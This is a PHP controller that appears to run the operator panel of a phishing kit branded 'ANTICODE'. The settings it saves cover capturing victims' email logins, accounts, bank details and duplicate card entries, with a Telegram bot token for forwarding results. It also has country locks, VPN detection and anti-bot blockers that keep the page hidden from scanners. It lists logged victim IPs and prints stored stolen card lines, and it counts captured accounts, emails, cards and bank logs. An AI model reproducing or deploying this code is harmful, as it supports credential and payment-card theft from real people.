<?php

defined("ALLOW") or exit('No direct script access allowed');

class Panel
{

    private $_TOKEN = FCPATH . "ANTICODE/Priv/.settings.ini";
    public function index()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'private-access/panel/login');
        } else if (!is_file($this->_TOKEN)) {
            header('Location: ' . base_url() . 'install');
            exit();
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else {
            echo view('panel/dashboard');
        }
    }

    public function login()
    {
        if (isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'private-access/panel');
        } else if (!is_file($this->_TOKEN)) {
            header('Location: ' . base_url() . 'install');
            exit();
        } else {

            echo view('panel/login');
        }
    }

    public function process()
    {
        if (isset($_POST['action'])) {
            $token = $_POST['token'];

            if (empty($token)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly", "Error");';
                header('Location: ' . base_url() . 'private-access/panel/login');
                exit();
            } else if ($token == _config('TOKEN')) {
                $_SESSION['token'] = $token;
                header('Location: ' . base_url() . 'private-access/panel');
            } else {
                $_SESSION["sukses"] = 'swal("Error", "Token Incorrect", "Error");';
                header('Location: ' . base_url() . 'private-access/panel/login');
                exit();
            }
        }
    }

    public function settings()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'private-access/panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else {
            echo view('panel/settings');
        }
    }
    public function update()
    {
        if (isset($_POST['updatesetting'])) {
            $result           = $_POST["result"];
            $parameter        = $_POST["parameter"];
            $countrylock      = $_POST["countrylock"];
            $blockers         = $_POST["blockers"];
            $antibot          = $_POST["antibot"];
            $getemail         = $_POST["getemail"];
            $getaccount       = $_POST["getaccount"];
            $vpndetect        = $_POST["vpndetect"];
            $doublecard       = $_POST["doublecard"];
            $token            = $_POST["token"];
            $telegram         = $_POST["telegram"];
            $getbank          = $_POST["getbank"];
            $doubleemail      = $_POST["doubleemail"];
            $doublelog        = $_POST["doublelog"];
            $stopbot          = $_POST["stopbot"];
            $lockedcountry    = $_POST["lockedcountry"];
            $gandalblocker    = $_POST["gandalblocker"];

            if (empty($token && $result && $parameter && $countrylock && $blockers && $antibot && $getemail && $getaccount && $vpndetect && $doublecard && $telegram && $getbank && $doubleemail && $doublelog && $stopbot && $lockedcountry && $gandalblocker)) {
                $_SESSION["sukses"] = 'swal("Error", "Please input all fields.", "error");';
                // echo json_encode(array("status" => "Please Fill in All Fields Correctly", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/settings');
                exit();
            } else if (_config('TOKEN') !== $token) {
                $_SESSION["sukses"] = 'swal("Error", "Update Failed.", "error");';
                // echo json_encode(array("status" => "edit not successful.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/settings');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Unknown Session.", "error");';
                // echo json_encode(array("status" => "session not detect.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "ANTICODE/Priv/.settings.ini", "w");
                fwrite($f, "TOKEN = \"$token\"\nRESULT = \"$result\"\nPARAMETER = \"$parameter\"\nCOUNTRYLOCK = \"$countrylock\"\nBLOCKERS = \"$blockers\"\nANTIBOT = \"$antibot\"\nGETEMAIL = \"$getemail\"\nGETACCOUNT = \"$getaccount\"\nVPNDETECT = \"$vpndetect\"\nDOUBLECARD = \"$doublecard\"\nTELEGRAM = \"$telegram\"\nGETBANK = \"$getbank\"\nDOUBLEEMAIL = \"$doubleemail\"\nDOUBLELOG = \"$doublelog\"\nSTOPBOT = \"$stopbot\"\nLOCKEDCOUNTRY = \"$lockedcountry\"\nGANDALBLOCKER=\"$gandalblocker\"");
                fclose($f);
                $_SESSION["sukses"] = 'swal("SUCCESS", "Update Successful.", "success");';
                // echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'private-access/panel/settings');
                exit();
            }
        }

        if (isset($_POST['gasreset'])) {
            $resetlog = $_POST['resetlog'];

            if (empty($resetlog)) {
                $_SESSION["sukses"] = 'swal("Error", "System Error.", "error");';
                // echo json_encode(array("status" => "System Error.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Session Unknown.", "error");';
                // echo json_encode(array("status" => "Session Unknown.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else if ($resetlog == "resetlog") {
                foreach (['log_account.txt', 'log_cc.txt', 'log_robot.txt', 'log_email.txt', 'log_click.txt', 'log_bank.txt'] as $filename) {
                    file_put_contents(FCPATH . "ANTICODE/Static/$filename", "");
                }
                $_SESSION["sukses"] = 'swal("success", "CLEAR LOGS SUCCESS.", "success");';
                // echo json_encode(array("status" => "Clear Log Success.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel');
            } else {
                $_SESSION["sukses"] = 'swal("Error", "System Error.", "error");';
                // echo json_encode(array("status" => "System Error.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel');
                exit();
            }
        }

        if (isset($_POST['resetcards'])) {
            $resetcc = $_POST['resetcc'];
            if (empty($resetcc)) {
                $_SESSION["sukses"] = 'swal("Error", "System Error!", "error");';
                // echo json_encode(array("status" => "System Error.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logcards');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Unknown Session!", "error");';
                // echo json_encode(array("status" => "Session Unknown.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else if ($resetcc == "resetcc") {
                foreach (['card_inf.txt'] as $filename) {
                    file_put_contents(FCPATH . "ANTICODE/Static/$filename", "");
                }
                $_SESSION["sukses"] = 'swal("Success", "Reset Success", "success");';
                // echo json_encode(array("status" => "Clear Log Success.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logcards');
            } else {
                $_SESSION["sukses"] = 'swal("error", "System Error!", "error");';
                // echo json_encode(array("status" => "System Error.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logcards');
                exit();
            }
        }

        if (isset($_POST['updatetoken'])) {
            $anticodetoken           = $_POST["anticodetoken"];
            if (empty($anticodetoken)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly.", "error");';
                // echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/systemblock');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Session Unknown.", "error");';
                // echo json_encode(array("status" => "Session Unknown.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "ANTICODE/Priv/blocker.ini", "w");
                fwrite($f, "TOKEN = \"$anticodetoken\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "Update Success", "success");';
                // echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'private-access/panel/systemblock');
                exit();
            }
        }

        if (isset($_POST['updateantibot'])) {
            $antibot           = $_POST["antibot"];
            if (empty($antibot)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly", "error");';
                // echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/antibot');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Session Unknown.", "error");';
                // echo json_encode(array("status" => "Session Unknown.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "ANTICODE/Priv/antibot.ini", "w");
                fwrite($f, "KEY = \"$antibot\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "UPDATE SUCCESS.", "success");';
                // echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'private-access/panel/antibot');
                exit();
            }
        }

        if (isset($_POST['updategandalblocker'])) {
            $devgandalf           = $_POST["devgandalf"];
            if (empty($devgandalf)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly", "error");';
                // echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/gandalblocker');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Session Unknown.", "error");';
                // echo json_encode(array("status" => "Session Unknown.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "ANTICODE/Priv/devgandalf.ini", "w");
                fwrite($f, "KEY = \"$devgandalf\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "UPDATE SUCCESS.", "success");';
                // echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'private-access/panel/gandalblocker');
                exit();
            }
        }

        if (isset($_POST['updatestopbot'])) {
            $stopbot           = $_POST["stopbot"];
            if (empty($stopbot)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly", "error");';
                // echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/stopbot');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Session Unknown.", "error");';
                // echo json_encode(array("status" => "Session Unknown.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "ANTICODE/Priv/stopbot.ini", "w");
                fwrite($f, "KEY = \"$stopbot\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "UPDATE SUCCESS.", "success");';
                // echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'private-access/panel/stopbot');
                exit();
            }
        }

        if (isset($_POST['updateipapi'])) {
            $ipapi           = $_POST["ipapi"];
            if (empty($ipapi)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly", "error");';
                // echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/ipapi');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Session Unknown.", "error");';
                // echo json_encode(array("status" => "Session Unknown.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "ANTICODE/Priv/ipapi.ini", "w");
                fwrite($f, "KEY = \"$ipapi\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "UPDATE SUCCESS.", "success");';
                // echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'private-access/panel/ipapi');
                exit();
            }
        }

        if (isset($_POST['uptel'])) {
            $token        = $_POST["token"];
            $id           = $_POST["id"];
            if (empty($token) && empty($id)) {
                $_SESSION["sukses"] = 'swal("error", "SYSTEM ERROR!.", "error");';
                // echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/telegram');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "session not detect.", "error");';
                // echo json_encode(array("status" => "session not detect.", "site" => "https://www.anticode.net"));
                header('Location: ' . base_url() . 'private-access/panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "ANTICODE/Priv/telegram.ini", "w");
                fwrite($f, "token = \"$token\"\nidtelegram = \"$id\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "UPDATE SUCCESS.", "success");';
                // echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'private-access/panel/telegram');
                exit();
            }
        }
    }

    public function antibot()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'private-access/panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else {
            echo view('panel/antibot');
        }
    }

    public function gandalblocker()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'private-access/panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else {
            echo view('panel/gandalblocker');
        }
    }

    public function systemblock()
    {
        echo view('panel/systemblocker');
    }
    public function ipapi()
    {
        echo view('panel/ipapi');
    }
    public function logcards()
    {
        echo view('panel/logcards');
    }
    public function about()
    {
        echo view('panel/about');
    }

    public function telegram()
    {
        echo view('panel/telegram');
    }

    public function stopbot()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'private-access/panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else {
            echo view('panel/stopbot');
        }
    }

    public function static()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'private-access/panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'private-access/panel/logout');
            exit();
        } else {
            echo view('panel/static');
        }
    }

    public function finished()
    {
        echo view('panel/finished');
    }

    public function logout()
    {
        session_start();
        session_destroy();
        echo json_encode(array("status" => "Logout Successful", "site" => "https://www.anticode.net"));
        header('Location: ' . base_url() . 'private-access/panel/login');
    }

    public function logclick()
    {
        if (file_exists(FCPATH . "ANTICODE/Static/log_click.txt")) {
            $bit = file_get_contents(FCPATH . "ANTICODE/Static/log_click.txt");
            $bit = explode("\n", $bit);
            $list = array_reverse($bit);
            foreach ($list as $fms) {
                $fms = explode("|", $fms);
                $flag = $fms[1];
                $time = $fms[2];
                $ip = $fms[3];
                $countryname = $fms[4];
                $os = $fms[5];
                $type = $fms[6];
                if ($ip == "") {
                } else {
                    echo "<tr>
                        <td><img src='" . $flag . "' style='width: 25px;height: 12px;'></img></td>
                        <td>" . $ip . "</td>
                        <td>" . $countryname . "</td>
                        <td>" . $os . "</td>
                        <td>" . $type . "</td>
                        <td>" . $time . "</td>
                        </tr>";
                }
            }
        } else {
            echo "<tr><td>Not found</td><td></td><td></td><td></td><td></td></tr>";
        }
    }


    public function logcard()
    {

        if (file_exists(FCPATH . "ANTICODE/Static/card_inf.txt")) {
            $lines = file(FCPATH . "ANTICODE/Static/card_inf.txt", FILE_IGNORE_NEW_LINES);
            $cardNumber = 1;
            foreach ($lines as $line) {
                echo "<tr>
                        <td> $cardNumber </td>
                        <td> $line </td>
                      </tr>";
                $cardNumber++;
            }
        } else {
            echo "<tr><td colspan='2'> Not found </td></tr>";
        }
    }


    public function json()
    {
        $log_account = file_get_contents(FCPATH . 'ANTICODE/Static/log_account.txt');
        $log_email      = file_get_contents(FCPATH . 'ANTICODE/Static/log_email.txt');
        $log_cc       = file_get_contents(FCPATH . 'ANTICODE/Static/log_cc.txt');
        $log_click      = file_get_contents(FCPATH . 'ANTICODE/Static/log_click.txt');
        $log_bank      = file_get_contents(FCPATH . 'ANTICODE/Static/log_bank.txt');
        $log_robot      = file_get_contents(FCPATH . 'ANTICODE/Static/log_robot.txt');

        $parseAccount = explode("\r\n", $log_account);
        $parseEmail   = explode("\r\n", $log_email);
        $parseCC       = explode("\r\n", $log_cc);
        $parseclick       = explode("\r\n", $log_click);
        $parsebank      = explode("\r\n", $log_bank);
        $parserobot      = explode("\r\n", $log_robot);


        echo json_encode(array(
            'logaccount' => @(int) (count($parseAccount) - 1) ? (int) (count($parseAccount) - 1) : "0",
            'logemail'  => @(int) (count($parseEmail) - 1) ? (int) (count($parseEmail) - 1) : "0",
            'logcard'   => @(int) (count($parseCC) - 1) ? (int) (count($parseCC) - 1) : "0",
            'logclick'   => @(int) (count($parseclick) - 1) ? (int) (count($parseclick) - 1) : "0",
            'logbank'   => @(int) (count($parsebank) - 1) ? (int) (count($parsebank) - 1) : "0",
            'logrobot'   => @(int) (count($parserobot) - 1) ? (int) (count($parserobot) - 1) : "0"
        ));
    }
}
